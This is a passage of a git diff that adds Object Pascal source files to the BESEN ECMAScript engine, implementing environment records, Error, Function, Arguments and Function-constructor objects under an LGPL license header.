BESEN,BESENStringUtils,BESENErrors; + +constructor TBESENObjectEnvironmentRecord.Create(AInstance:TObject); +begin + inherited Create(AInstance); + BindingObject:=nil; + ProvideThis:=false; + RecordType:=BESENEnvironmentRecordTypeObject; +end; + +destructor TBESENObjectEnvironmentRecord.Destroy; +begin + BindingObject:=nil; + inherited Destroy; +end; + +function TBESENObjectEnvironmentRecord.HasBindingEx(const N:TBESENString;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):TBESENBoolean; +begin + result:=BindingObject.HasPropertyEx(N,Descriptor,Hash); +end; + +function TBESENObjectEnvironmentRecord.CreateMutableBinding(const N:TBESENString;const D:TBESENBoolean=false;Hash:TBESENHash=0):TBESENBoolean; +begin + if BindingObject.HasProperty(N,Hash) then begin + BESENThrowTypeError('CreateMutableBinding for "'+N+'" failed'); + end; + if D then begin + result:=BindingObject.DefineOwnProperty(N,BESENDataPropertyDescriptor(BESENUndefinedValue,[bopaWRITABLE,bopaENUMERABLE,bopaCONFIGURABLE]),true,Hash); // ES5 errata false to true + end else begin + result:=BindingObject.DefineOwnProperty(N,BESENDataPropertyDescriptor(BESENUndefinedValue,[bopaWRITABLE,bopaENUMERABLE]),true,Hash); // ES5 errata false to true + end; +end; + +function TBESENObjectEnvironmentRecord.SetMutableBindingEx(const N:TBESENString;const V:TBESENValue;const S:TBESENBoolean;var Descriptor,OwnDescriptor:TBESENObjectPropertyDescriptor;var TempValue:TBESENValue;Hash:TBESENHash=0):TBESENBoolean; +begin + BindingObject.PutEx(N,V,S,Descriptor,OwnDescriptor,TempValue,Hash); + result:=true; +end; + +procedure TBESENObjectEnvironmentRecord.GetBindingValueEx(const N:TBESENString;const S:TBESENBoolean;var R:TBESENValue;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0); + procedure ThrowIt; + begin + BESENThrowTypeError('GetBindingValue for "'+N+'" failed'); + end; +begin + if not BindingObject.GetEx(N,R,Descriptor,BindingObject,Hash) then begin + if S then begin + ThrowIt; + end else begin + R.ValueType:=bvtUNDEFINED; + end; + end; +end; + +function TBESENObjectEnvironmentRecord.DeleteBindingEx(const N:TBESENString;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):TBESENBoolean; +begin + result:=BindingObject.DeleteEx(N,false,Descriptor,Hash); +end; + +procedure TBESENObjectEnvironmentRecord.UpdateImplicitThisValue; +begin + if ProvideThis then begin + ImplicitThisValue.ValueType:=bvtOBJECT; + ImplicitThisValue.Obj:=BindingObject; + end else begin + ImplicitThisValue.ValueType:=bvtUNDEFINED; + ImplicitThisValue.Obj:=nil; + end; +end; + +function TBESENObjectEnvironmentRecord.SetIndexValue(const I,ID:integer;const V:TBESENValue;const S:TBESENBoolean):TBESENBoolean; +begin + BindingObject.PutIndex(I,ID,V,S); + result:=true; +end; + +procedure TBESENObjectEnvironmentRecord.GetIndexValue(const I,ID:integer;const S:TBESENBoolean;var R:TBESENValue); + procedure ThrowIt; + begin + BESENThrowTypeError('GetIndexValue failed'); + end; +begin + if not BindingObject.GetIndex(I,ID,R,BindingObject) then begin + if S then begin + ThrowIt; + end else begin + R.ValueType:=bvtUNDEFINED; + end; + end; +end; + +function TBESENObjectEnvironmentRecord.DeleteIndex(const I,ID:integer):TBESENBoolean; +begin + result:=BindingObject.DeleteIndex(I,iD,false); +end; + +procedure TBESENObjectEnvironmentRecord.Finalize; +begin + BindingObject:=nil; + inherited Finalize; +end; + +procedure TBESENObjectEnvironmentRecord.Mark; +begin + TBESEN(Instance).GarbageCollector.GrayIt(BindingObject); + inherited Mark; +end; + +end. diff --git a/Core/JS/BESENObjectError.pas b/Core/JS/BESENObjectError.pas new file mode 100644 index 0000000..87a2a9a --- /dev/null +++ b/Core/JS/BESENObjectError.pas @@ -0,0 +1,74 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectError; +{$i BESEN.inc} + +interface + +uses Math,BESENConstants,BESENTypes,BESENObject,BESENValue,BESENObjectPropertyDescriptor; + +type TBESENObjectError=class(TBESENObject) + public + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + procedure Finalize; override; + procedure Mark; override; + end; + +implementation + +uses BESEN; + +constructor TBESENObjectError.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +begin + inherited Create(AInstance,APrototype,AHasPrototypeProperty); + ObjectClassName:='Error'; + ObjectName:=''; + + OverwriteData('length',BESENNumberValue(1),[]); +end; + +destructor TBESENObjectError.Destroy; +begin + inherited Destroy; +end; + +procedure TBESENObjectError.Finalize; +begin + inherited Finalize; +end; + +procedure TBESENObjectError.Mark; +begin + inherited Mark; +end; + +end. diff --git a/Core/JS/BESENObjectErrorConstructor.pas b/Core/JS/BESENObjectErrorConstructor.pas new file mode 100644 index 0000000..260ba89 --- /dev/null +++ b/Core/JS/BESENObjectErrorConstructor.pas @@ -0,0 +1,108 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectErrorConstructor; +{$i BESEN.inc} + +interface + +uses Math,BESENConstants,BESENTypes,BESENObject,BESENObjectFunction,BESENValue,BESENObjectPropertyDescriptor; + +type TBESENObjectErrorConstructor=class(TBESENObjectFunction) + public + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + procedure Construct(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); override; + procedure Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); override; + function HasConstruct:TBESENBoolean; override; + function HasCall:TBESENBoolean; override; + end; + +implementation + +uses BESEN,BESENObjectError; + +constructor TBESENObjectErrorConstructor.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +begin + inherited Create(AInstance,APrototype,AHasPrototypeProperty); + ObjectClassName:='Function'; + ObjectName:='Error'; +end; + +destructor TBESENObjectErrorConstructor.Destroy; +begin + inherited Destroy; +end; + +procedure TBESENObjectErrorConstructor.Construct(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); +var r1:TBESENObjectError; + r2:TBESENObject; + r3:TBESENValue; +begin + // ES5 errata fix + Get('prototype',r3); + if r3.ValueType=bvtOBJECT then begin + r2:=TBESENObject(r3.Obj); + end else begin + r2:=nil; + end; + r1:=TBESENObjectError.Create(Instance,r2,false); + TBESEN(Instance).GarbageCollector.Add(r1); + r1.GarbageCollectorLock; + try + if (CountArguments>0) and (Arguments^[0]^.ValueType<>bvtUNDEFINED) then begin + r1.OverwriteData('message',BESENStringValue(TBESEN(Instance).ToStr(Arguments^[0]^)),[bopaWRITABLE,bopaCONFIGURABLE]); + end else begin + r1.OverwriteData('message',BESENStringValue(''),[bopaWRITABLE,bopaCONFIGURABLE]); + end; + finally + r1.GarbageCollectorUnlock; + end; + AResult.ValueType:=bvtOBJECT; + AResult.Obj:=r1; +end; + +procedure TBESENObjectErrorConstructor.Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); +begin + // ES5 Errate fix + Construct(ThisArgument,Arguments,CountArguments,AResult); +end; + +function TBESENObjectErrorConstructor.HasConstruct:TBESENBoolean; +begin + result:=true; +end; + +function TBESENObjectErrorConstructor.HasCall:TBESENBoolean; +begin + result:=true; +end; + +end. diff --git a/Core/JS/BESENObjectErrorPrototype.pas b/Core/JS/BESENObjectErrorPrototype.pas new file mode 100644 index 0000000..b527182 --- /dev/null +++ b/Core/JS/BESENObjectErrorPrototype.pas @@ -0,0 +1,99 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectErrorPrototype; +{$i BESEN.inc} + +interface + +uses Math,BESENConstants,BESENTypes,BESENObject,BESENObjectError,BESENValue,BESENObjectPropertyDescriptor, + BESENObjectBoolean; + +type TBESENObjectErrorPrototype=class(TBESENObjectError) + public + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + procedure NativeToString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + end; + +implementation + +uses BESEN,BESENErrors; + +constructor TBESENObjectErrorPrototype.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +begin + inherited Create(AInstance,APrototype,AHasPrototypeProperty); + ObjectClassName:='Error'; + ObjectName:='Error'; + + OverwriteData('name',BESENStringValue('Error'),[bopaWRITABLE,bopaCONFIGURABLE]); + OverwriteData('message',BESENStringValue(''),[bopaWRITABLE,bopaCONFIGURABLE]); + + RegisterNativeFunction('toString',NativeToString,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + +end; + +destructor TBESENObjectErrorPrototype.Destroy; +begin + inherited Destroy; +end; + +procedure TBESENObjectErrorPrototype.NativeToString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var nv,mv:TBESENValue; + n,m:TBESENString; +begin + // ES5 errata fix + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + TBESENObjectError(TBESENObject(ThisArgument.Obj)).Get('name',nv); + TBESENObjectError(TBESENObject(ThisArgument.Obj)).Get('message',mv); + if nv.ValueType=bvtUNDEFINED then begin + n:='Error'; + end else begin + n:=TBESEN(Instance).ToStr(nv); + end; + if mv.ValueType=bvtUNDEFINED then begin + m:=''; + end else begin + m:=TBESEN(Instance).ToStr(mv); + end; + if (length(n)=0) and (length(m)=0) then begin + ResultValue:=BESENStringValue('Error'); + end else if length(n)=0 then begin + ResultValue:=BESENStringValue(m); + end else if length(m)=0 then begin + ResultValue:=BESENStringValue(n); + end else begin + ResultValue:=BESENStringValue(n+': '+m); + end; +end; + +end. diff --git a/Core/JS/BESENObjectFunction.pas b/Core/JS/BESENObjectFunction.pas new file mode 100644 index 0000000..523c20b --- /dev/null +++ b/Core/JS/BESENObjectFunction.pas @@ -0,0 +1,122 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectFunction; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes,BESENObject,BESENValue,BESENObjectPropertyDescriptor; + +type TBESENObjectFunction=class(TBESENObject) + public + SecurityDomain:pointer; + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + function GetSecurityDomain:pointer; override; + function HasGetSecurityDomain:TBESENBoolean; override; + function HasInstance(const AInstance:TBESENValue):TBESENBoolean; override; + function HasHasInstance:TBESENBoolean; override; + procedure Finalize; override; + procedure Mark; override; + end; + +implementation + +uses BESEN,BESENErrors; + +constructor TBESENObjectFunction.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +begin + inherited Create(AInstance,APrototype,AHasPrototypeProperty); + ObjectClassName:='Function'; + ObjectName:='function'; + + SecurityDomain:=nil; + + OverwriteData('length',BESENNumberValue(1),[]); +end; + +destructor TBESENObjectFunction.Destroy; +begin + inherited Destroy; +end; + +function TBESENObjectFunction.GetSecurityDomain:pointer; +begin + result:=SecurityDomain; +end; + +function TBESENObjectFunction.HasGetSecurityDomain:TBESENBoolean; +begin + result:=true; +end; + +function TBESENObjectFunction.HasInstance(const AInstance:TBESENValue):TBESENBoolean; +var v,o:TBESENObject; + ov:TBESENValue; +begin + result:=false; + if AInstance.ValueType<>bvtOBJECT then begin + exit; + end; + v:=TBESENObject(AInstance.Obj); + Get('prototype',ov); + if ov.ValueType<>bvtOBJECT then begin + raise EBESENTypeError.Create('Prototype not object'); + end; + o:=TBESENObject(ov.Obj); + while true do begin + v:=v.Prototype; + if not assigned(v) then begin + break; + end else if TBESEN(Instance).SameObject(v,o) then begin + result:=true; + break; + end; + end; +end; + +function TBESENObjectFunction.HasHasInstance:TBESENBoolean; +begin + result:=true; +end; + +procedure TBESENObjectFunction.Finalize; +begin + inherited Finalize; +end; + +procedure TBESENObjectFunction.Mark; +begin + inherited Mark; +end; + +end. + \ No newline at end of file diff --git a/Core/JS/BESENObjectFunctionArguments.pas b/Core/JS/BESENObjectFunctionArguments.pas new file mode 100644 index 0000000..7f9f768 --- /dev/null +++ b/Core/JS/BESENObjectFunctionArguments.pas @@ -0,0 +1,230 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectFunctionArguments; +{$i BESEN.inc} + +interface + +uses SysUtils,BESENConstants,BESENTypes,BESENObject,BESENValue,BESENObjectPropertyDescriptor; + +type TBESENObjectFunctionArguments=class(TBESENObject) + public + ParameterMap:TBESENObject; + IsStrict:longbool; + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + function GetOwnProperty(const P:TBESENString;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):boolean; override; + function GetEx(const P:TBESENString;var AResult:TBESENValue;var Descriptor:TBESENObjectPropertyDescriptor;Base:TBESENObject=nil;Hash:TBESENHash=0):boolean; override; + function GetIndex(const Index,ID:integer;var AResult:TBESENValue;Base:TBESENObject=nil):boolean; override; + function DeleteEx(const P:TBESENString;Throw:TBESENBoolean;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):TBESENBoolean; override; + procedure PutEx(const P:TBESENString;const V:TBESENValue;Throw:TBESENBoolean;var Descriptor,OwnDescriptor:TBESENObjectPropertyDescriptor;var TempValue:TBESENValue;Hash:TBESENHash=0); override; + procedure PutIndex(const Index,ID:integer;const V:TBESENValue;Throw:TBESENBoolean); override; + function DefineOwnPropertyEx(const P:TBESENString;const Descriptor:TBESENObjectPropertyDescriptor;Throw:TBESENBoolean;var Current:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):TBESENBoolean; override; + procedure DefaultValue(const AHint:TBESENValue;var AResult:TBESENValue); override; + procedure Finalize; override; + procedure Mark; override; + end; + +implementation + +uses BESEN,BESENGlobals,BESENStringUtils,BESENErrors; + +constructor TBESENObjectFunctionArguments.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +begin + inherited Create(AInstance,APrototype,AHasPrototypeProperty); + ObjectClassName:='Arguments'; + ObjectName:='Arguments'; + ParameterMap:=nil; +end; + +destructor TBESENObjectFunctionArguments.Destroy; +begin + inherited Destroy; +end; + +function TBESENObjectFunctionArguments.GetOwnProperty(const P:TBESENString;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):boolean; +var MappedDescriptor:TBESENObjectPropertyDescriptor; +begin + if IsStrict or not assigned(ParameterMap) then begin + result:=inherited GetOwnProperty(P,Descriptor,Hash); + end else begin + result:=inherited GetOwnProperty(P,Descriptor,Hash); + if result then begin + MappedDescriptor:=Descriptor; + if not ParameterMap.GetOwnProperty(P,MappedDescriptor,Hash) then begin + ParameterMap.Get(P,Descriptor.Value); + result:=Descriptor.Presents<>[]; + end; + end; + end; +end; + +function TBESENObjectFunctionArguments.GetEx(const P:TBESENString;var AResult:TBESENValue;var Descriptor:TBESENObjectPropertyDescriptor;Base:TBESENObject=nil;Hash:TBESENHash=0):boolean; +begin + if not assigned(Base) then begin + Base:=self; + end; + if IsStrict or not assigned(ParameterMap) then begin + result:=inherited GetEx(P,AResult,Descriptor,Base,Hash); + end else begin + if ParameterMap.GetOwnProperty(P,Descriptor,Hash) then begin + result:=ParameterMap.GetEx(P,AResult,Descriptor,Base,Hash); + end else begin + result:=inherited GetEx(P,AResult,Descriptor,Base,Hash); + if IsStrict and (P='caller') then begin + BESENThrowCaller; + end; + end; + end; +end; + +function TBESENObjectFunctionArguments.GetIndex(const Index,ID:integer;var AResult:TBESENValue;Base:TBESENObject=nil):boolean; +var Descriptor:TBESENObjectPropertyDescriptor; +begin + if not assigned(Base) then begin + Base:=self; + end; + if IsStrict or not assigned(ParameterMap) then begin + result:=inherited GetIndex(Index,ID,AResult,Base); + end else begin + if ParameterMap.GetOwnProperty(TBESEN(Instance).KeyIDManager.List[ID],Descriptor) then begin + result:=ParameterMap.GetEx(TBESEN(Instance).KeyIDManager.List[ID],AResult,Descriptor,Base); + end else begin + result:=inherited GetIndex(Index,ID,AResult,Base); + if IsStrict and (ID=TBESEN(Instance).KeyIDManager.CallerID) then begin + BESENThrowCaller; + end; + end; + end; +end; + +function TBESENObjectFunctionArguments.DeleteEx(const P:TBESENString;Throw:TBESENBoolean;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):TBESENBoolean; +var IsMapped:boolean; +begin + if IsStrict or not assigned(ParameterMap) then begin + result:=inherited DeleteEx(P,Throw,Descriptor,Hash); + end else begin + IsMapped:=ParameterMap.GetOwnProperty(P,Descriptor,Hash); + result:=inherited DeleteEx(P,Throw,Descriptor,Hash); + if result and IsMapped then begin + ParameterMap.DeleteEx(P,false,Descriptor,Hash); + end; + end; +end; + +procedure TBESENObjectFunctionArguments.PutEx(const P:TBESENString;const V:TBESENValue;Throw:TBESENBoolean;var Descriptor,OwnDescriptor:TBESENObjectPropertyDescriptor;var TempValue:TBESENValue;Hash:TBESENHash=0); +begin + PutFull(P,V,false,Descriptor,OwnDescriptor,TempValue,Hash); +end; + +procedure TBESENObjectFunctionArguments.PutIndex(const Index,ID:integer;const V:TBESENValue;Throw:TBESENBoolean); +begin + Put(TBESEN(Instance).KeyIDManager.List[ID],V,Throw); +end; + +function TBESENObjectFunctionArguments.DefineOwnPropertyEx(const P:TBESENString;const Descriptor:TBESENObjectPropertyDescriptor;Throw:TBESENBoolean;var Current:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):TBESENBoolean; +var IsMapped,Allowed:boolean; + procedure ThrowIt; + begin + BESENThrowTypeError('DefineOwnProperty for "'+P+'" failed'); + end; +begin + if IsStrict or not assigned(ParameterMap) then begin + result:=inherited DefineOwnPropertyEx(P,Descriptor,false,Current,Hash); + end else begin + IsMapped:=ParameterMap.GetOwnProperty(P,Current,Hash); + Allowed:=inherited DefineOwnPropertyEx(P,Descriptor,false,Current,Hash); + if not Allowed then begin + if Throw then begin + ThrowIt; + end; + result:=false; + exit; + end; + if IsMapped then begin + if ([boppGETTER,boppSETTER]*Descriptor.Presents)<>[] then begin + ParameterMap.DeleteEx(p,false,Current,Hash); + end else begin + if boppVALUE in Descriptor.Presents then begin + ParameterMap.Put(p,Descriptor.Value,Throw,Hash); + end; + if (boppWRITABLE in Descriptor.Presents) and not (bopaWRITABLE in Descriptor.Attributes) then begin + ParameterMap.DeleteEx(p,false,Current,Hash); + end; + end; + end; + result:=true; + end; +end; + +procedure TBESENObjectFunctionArguments.DefaultValue(const AHint:TBESENValue;var AResult:TBESENValue); +var i,j:integer; + s:TBESENString; + v:TBESENValue; + procedure ThrowIt; + begin + BESENThrowTypeError('Bad default value'); + end; +begin + if (TBESEN(Instance).Compatibility and COMPAT_JS)<>0 then begin + s:='['; + Get('length',v,self,BESENLengthHash); + j:=TBESEN(Instance).ToInt32(v); + for i:=0 to j-1 do begin + if i>0 then begin + s:=s+', '; + end; + Get(IntToStr(i),v); + s:=s+inttostr(i)+'='+TBESEN(Instance).ToStr(v); + end; + s:=s+']'; + AResult:=BESENStringValue(s); + end else begin + inherited DefaultValue(AHint,AResult); + end; +end; + +procedure TBESENObjectFunctionArguments.Finalize; +begin + ParameterMap:=nil; + inherited Finalize; +end; + +procedure TBESENObjectFunctionArguments.Mark; +begin + if assigned(ParameterMap) then begin + TBESEN(Instance).GarbageCollector.GrayIt(ParameterMap); + end; + inherited Mark; +end; + +end. + \ No newline at end of file diff --git a/Core/JS/BESENObjectFunctionConstructor.pas b/Core/JS/BESENObjectFunctionConstructor.pas new file mode 100644 index 0000000..43d842a --- /dev/null +++ b/Core/JS/BESENObjectFunctionConstructor.pas @@ -0,0 +1,124 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectFunctionConstructor; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes,BESENObject,BESENObjectFunction,BESENValue,BESENObjectPropertyDescriptor; + +type TBESENObjectFunctionConstructor=class(TBESENObjectFunction) + public + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + procedure Construct(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); override; + procedure Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); override; + function HasConstruct:TBESENBoolean; override; + function HasCall:TBESENBoolean; override; + end; + +implementation + +uses BESEN,BESENErrors,BESENASTNodes,BESENStringUtils,BESENUtils,BESENObjectDeclaredFunction; + +constructor TBESENObjectFunctionConstructor.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +begin + inherited Create(AInstance,APrototype,AHasPrototypeProperty); +end; + +destructor TBESENObjectFunctionConstructor.Destroy; +begin + inherited Destroy; +end; + +procedure TBESENObjectFunctionConstructor.Construct(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); +var Body,Parameters:TBESENString; + i:integer; + Node:TBESENASTNode; + f:TBESENObjectDeclaredFunction; + OldIsStrict:boolean; +begin + Body:=''; + Parameters:=''; + OldIsStrict:=TBESEN(Instance).IsStrict; + try + if CountArguments>0 then begin + for i:=0 to CountArguments-2 do begin + if i>0 then begin + Parameters:=Parameters+','; + end; + Parameters:=Parameters+TBESEN(Instance).ToStr(Arguments^[i]^); + end; + Body:=TBESEN(Instance).ToStr(Arguments[CountArguments-1]^); + end; + TBESEN(Instance).IsStrict:=false; + Node:=TBESEN(Instance).Compile({$ifndef BESENSingleStringType}BESENUTF16ToUTF8({$endif}Body{$ifndef BESENSingleStringType}),BESENUTF16ToUTF8({$endif}Parameters{$ifndef BESENSingleStringType}){$endif},true); + if assigned(Node) and (Node is TBESENASTNodeFunctionExpression) then begin + if assigned(TBESENASTNodeFunctionExpression(Node).Container.Literal.Name) then begin + if TBESEN(Instance).IsStrict then begin + if TBESENASTNodeFunctionExpression(Node).Container.Literal.Name.Name='eval' then begin + raise EBESENSyntaxError.Create('"eval" not allowed here'); + end; + end; + f:=TBESEN(Instance).MakeFunction(TBESENASTNodeFunctionExpression(Node).Container.Literal,TBESENASTNodeFunctionExpression(Node).Container.Literal.Name.Name,TBESEN(Instance).GlobalLexicalEnvironment); + end else begin + f:=TBESEN(Instance).MakeFunction(TBESENASTNodeFunctionExpression(Node).Container.Literal,'',TBESEN(Instance).GlobalLexicalEnvironment); + end; + TBESEN(Instance).GarbageCollector.Add(f); + AResult.ValueType:=bvtOBJECT; + AResult.Obj:=f; + end else begin + AResult.ValueType:=bvtUNDEFINED; + end; + BESENFreeAndNil(Node); + finally + TBESEN(Instance).IsStrict:=OldIsStrict; + end; +end; + +procedure TBESENObjectFunctionConstructor.Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); +begin + Construct(ThisArgument,Arguments,CountArguments,AResult); +end; + +function TBESENObjectFunctionConstructor.HasConstruct:TBESENBoolean; +begin + result:=true; +end; + +function TBESENObjectFunctionConstructor.HasCall:TBESENBoolean; +begin + result:=true; +end; + + +end. + \ No newline at end of file diff --git a/Core/JS/BESENObjectFunctionPrototype.pas b/Core/JS/BESENObjectFunctionPrototype.pas new file mode 100644 index 0000000..4c812f0 --- /dev/null +++ b/Core/JS/BESENObjectFunctionPrototype.pas @@ -0,0 +1,237 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectFunctionPrototype; +{$i BESEN.inc} + +interface + +uses SysUtils,Math,BESENConstants,BESENTypes,BESENObject,BESENObjectFunction,BESENValue,BESENObjectPropertyDescriptor, + BESENObjectNativeFunction; + +type TBESENObjectFunctionPrototype=class(TBESENObjectFunction) + public + constructor 